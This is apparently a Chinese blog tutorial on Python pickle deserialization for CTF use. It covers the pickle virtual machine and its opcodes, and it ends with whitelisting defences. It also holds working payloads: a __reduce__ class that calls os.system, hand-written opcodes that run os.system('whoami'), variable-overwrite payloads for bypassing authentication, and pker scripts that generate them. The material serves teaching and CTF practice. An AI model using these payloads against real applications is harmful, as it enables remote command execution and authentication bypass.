pickle反序列化


Pickle反序列化总结

基本知识

pickle简介

  • 与PHP类似,python也有序列化功能,以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

可序列化的对象

  • NoneTrueFalse
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被·式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

pickle过程详细解读

  • pickle解析依靠Pickle Virtual Machine (PVM)进行。
  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。
  • PVM解析 str 的过程动图:

  • PVM解析 __reduce__() 的过程动图:

opcode简介

opcode版本

  • pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。

    import pickle
    
    a={'1': 1, '2': 2}
    
    print(f'# 原变量:{a!r}')
    for i in range(4):
        print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
    
    # 输出:
    pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
    pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
  • pickle3版本的opcode示例:

    # 'abcd'
    b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
    
    # \x80:协议头声明 \x03:协议版本
    # \x04\x00\x00\x00:数据长度:4
    # abcd:数据
    # q:储存栈顶的字符串长度:一个字节(即\x00)
    # \x00:栈顶位置
    # .:数据截止
  • pickle0版本的部分opcode表格:

    Opcode Mnemonic Data type loaded onto the stack Example
    S STRING String S’foo’\n
    V UNICODE Unicode Vfo\u006f\n
    I INTEGER Integer I42\n

pickletools

  • 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式

    import pickletools
    
    data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
    pickletools.dis(data)
    
        0: \x80 PROTO      3
        2: c    GLOBAL     'builtins exec'
       17: q    BINPUT     0
       19: X    BINUNICODE "key1=b'1'\nkey2=b'2'"
       43: q    BINPUT     1
       45: \x85 TUPLE1
       46: q    BINPUT     2
       48: R    REDUCE
       49: q    BINPUT     3
       51: .    STOP
    highest protocol among opcodes = 2

漏洞利用

利用思路

  • 任意代码执行或命令执行。
  • 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。

初步认识:pickle EXP的简单demo

import pickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test >poc.txt"""  # 要执行的命令
        return os.system, (s,)        # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
  • 变量覆盖
import pickle

key1 = b'321'
key2 = b'123'
class A(object):
    def __reduce__(self):
        return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

如何手写opcode

  • 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
  • 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
  • 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。

常用opcode解析

由于pickle库中的注释不是很详细,网上的其他资料也没有具体地把栈和memo上的变化讲清楚,以下的每个opcode的操作都是我经过实验验证并且尽可能将栈和memo上的变化解释清楚,常用的opcode如下:

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

此外, TRUE 可以用 I 表示: b'I01\n'FALSE 也可以用 I 表示: b'I00\n' ,其他opcode可以在pickle库的源代码中找到。
由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。
  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。
  • sub操作符可以构造并赋值原来没有的属性、键值对。

拼接opcode

将第一个pickle流结尾表示结束的 . 去掉,将第二个pickle流与第一个拼接起来即可。

全局变量覆盖

python源码:

# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

首先,通过 c 获取全局变量 secret ,然后建立一个字典,并使用 b 对secret进行属性设置,使用到的payload:

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

函数执行

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

  1. R

    b'''cos
    system
    (S'whoami'
    tR.'''
  2. i

    b'''(S'whoami'
    ios
    system
    .'''
  3. o

    b'''(cos
    system
    S'whoami'
    o.

实例化对象

实例化对象是一种特殊的函数执行,这里简单的使用 R 构造一下,其他方式类似:

class Student:
    def __init__(self, name, age):
        self.name = name
        self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

pker的使用(推荐)

注意事项

pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:

# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

pker使用说明

简介

  • pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器,可以在https://github.com/eddieivan01/pker下载源码。
  • 使用pker,我们可以更方便地编写pickle opcode(生成pickle版本0的opcode)。
  • 再次建议,在能够手写opcode的情况下使用pker进行辅助编写,不要过分依赖pker。
  • 此外,pker的实现用到了python的ast(抽象语法树)库,抽象语法树也是一个很重要东西,有兴趣的可以研究一下ast库和pker的源码,由于篇幅限制,这里不再叙述。

pker能做的事

引用自https://xz.aliyun.com/t/7012#toc-5:

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

具体来讲,可以使用pker进行原变量覆盖、函数执行、实例化新的对象。

使用方法与示例

  1. pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
  2. 此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
  3. pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)  

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')  
输入:module,callable,para 

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls') 
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

注意:

  1. 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。
  2. pker解析S时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
test="123"
return test

被解析为:

b"S'123'\np0\n0g0\n."

pker:全局变量覆盖

  • 覆盖直接由执行文件引入的secret模块中的namecategory变量:
secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
  • 覆盖引入模块的变量:
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

接下来会给出一些具体的基本操作的实例。

pker:函数执行

  • 通过b'R'调用:
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
  • 通过b'i'调用:
INST('os', 'system', 'whoami')
  • 通过b'c'b'o'调用:
OBJ(GLOBAL('os', 'system'), 'whoami')
  • 多参数调用函数
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

pker:实例化对象

  • 实例化对象是一种特殊的函数执行
animal = INST('__main__', 'Animal','1','2')
return animal


# 或者

animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
  • 其中,python原文件中包含:
class Animal:

    def __init__(self, name, category):
        self.name = name
        self.category = category
  • 也可以先实例化再赋值:
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

手动辅助

  • 拼接opcode:将第一个pickle流结尾表示结束的.去掉,两者拼接起来即可。
  • 建立普通的类时,可以先pickle.dumps,再拼接至payload。

后记

  • 为了解决pickle反序列化的问题,官方给出了使用改写 Unpickler.find_class() 方法,引入白名单的方式来解决,并且给出警告:对于允许反序列化的对象必须要保持警惕。对于开发者而言,如果实在要给用户反序列化的权限,最好使用双白名单限制modulename并充分考虑到白名单中的各模块和各函数是否有危险。
  • CTF中,pickle相关的题目一般考察对python本身(如对魔术方法和属性等)的深度理解,利用过程可以很巧妙。
  • 由于pickle“只能赋值,不能查值”的特性,唯一能够根据键值查询的操作就是find_class函数,即ci等opcode,如何根据特有的魔术方法、属性等找到突破口是关键;此外,在利用过程中,往往会借助getattrget等函数。
  • 借助pker可以比较方便的编写pickle的opcode,该工具是做题利器。
  • 本文涉及的CTF题目已整理至github:https://github.com/HACHp1/pickle_ctf_collection

参考资料


文章作者: Cu3tuv0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cu3tuv0 !
评论
  目录